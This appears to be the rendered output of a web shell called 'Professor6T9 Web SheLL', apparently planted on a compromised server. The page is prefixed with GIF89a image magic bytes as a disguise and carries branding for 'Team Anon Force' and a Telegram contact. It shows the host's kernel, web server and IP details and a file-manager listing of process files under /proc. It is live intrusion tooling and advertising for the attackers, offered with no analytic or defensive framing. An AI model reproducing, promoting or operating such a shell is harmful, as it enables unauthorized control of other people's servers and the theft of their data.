GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
 Apache/2.4.52 (Ubuntu)
 127.0.0.1
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 1012/1012 0555 2026-01-16 09:50:03
.. dir - 1012/1012 0555 2026-01-16 09:50:03
attr dir - 1012/1012 0555 2026-01-16 09:55:11
fd dir - 1012/1012 0500 2026-01-16 09:55:11
fdinfo dir - 1012/1012 0555 2026-01-16 09:55:11
net dir - 1012/1012 0555 2026-01-16 09:55:11
ns dir - 1012/1012 0511 2026-01-16 09:55:11
arch_status application/x-empty 0 B 1012/1012 0444 2026-01-16 09:55:11
auxv 0 B 1012/1012 0400 2026-01-16 09:55:11
cgroup text/plain 0 B 1012/1012 0444 2026-01-16 09:55:11
children application/x-empty 0 B 1012/1012 0444 2026-01-16 09:55:11
clear_refs 0 B 1012/1012 0200 2026-01-16 09:55:11
cmdline text/plain 0 B 1012/1012 0444 2026-01-16 09:55:11
comm text/plain 0 B 1012/1012 0644 2026-01-16 09:55:11
cpu_resctrl_groups text/plain 0 B 1012/1012 0444 2026-01-16 09:55:11
cpuset application/octet-stream 0 B 1012/1012 0444 2026-01-16 09:55:11
environ 0 B 1012/1012 0400 2026-01-16 09:55:11
gid_map text/plain 0 B 1012/1012 0644 2026-01-16 09:55:11
io 0 B 1012/1012 0400 2026-01-16 09:50:03
limits text/plain 0 B 1012/1012 0444 2026-01-16 09:55:11
loginuid text/plain 0 B 1012/1012 0644 2026-01-16 09:55:11
maps 0 B 1012/1012 0444 2026-01-16 09:55:11
mem 0 B 1012/1012 0600 2026-01-16 09:55:11
mountinfo text/plain 0 B 1012/1012 0444 2026-01-16 09:55:11
mounts text/plain 0 B 1012/1012 0444 2026-01-16 09:55:11
numa_maps 0 B 1012/1012 0444 2026-01-16 09:55:11
oom_adj application/octet-stream 0 B 1012/1012 0644 2026-01-16 09:55:11
oom_score text/plain 0 B 1012/1012 0444 2026-01-16 09:55:11
oom_score_adj application/octet-stream 0 B 1012/1012 0644 2026-01-16 09:55:11
pagemap 0 B 1012/1012 0400 2026-01-16 09:55:11
patch_state 0 B 1012/1012 0400 2026-01-16 09:55:11
personality 0 B 1012/1012 0400 2026-01-16 09:55:11
projid_map text/plain 0 B 1012/1012 0644 2026-01-16 09:55:11
sched text/plain 0 B 1012/1012 0644 2026-01-16 09:55:11
schedstat text/plain 0 B 1012/1012 0444 2026-01-16 09:50:03
sessionid text/plain 0 B 1012/1012 0444 2026-01-16 09:55:11
setgroups text/plain 0 B 1012/1012 0644 2026-01-16 09:55:11
smaps 0 B 1012/1012 0444 2026-01-16 09:55:11
smaps_rollup 0 B 1012/1012 0444 2026-01-16 09:55:11
stack 0 B 1012/1012 0400 2026-01-16 09:55:11
stat text/plain 0 B 1012/1012 0444 2026-01-16 09:50:03
statm text/plain 0 B 1012/1012 0444 2026-01-16 09:55:11
status text/plain 0 B 1012/1012 0444 2026-01-16 09:50:03
syscall 0 B 1012/1012 0400 2026-01-16 09:55:11
uid_map text/plain 0 B 1012/1012 0644 2026-01-16 09:55:11
wchan application/octet-stream 0 B 1012/1012 0444 2026-01-16 09:55:11
© Professor6T9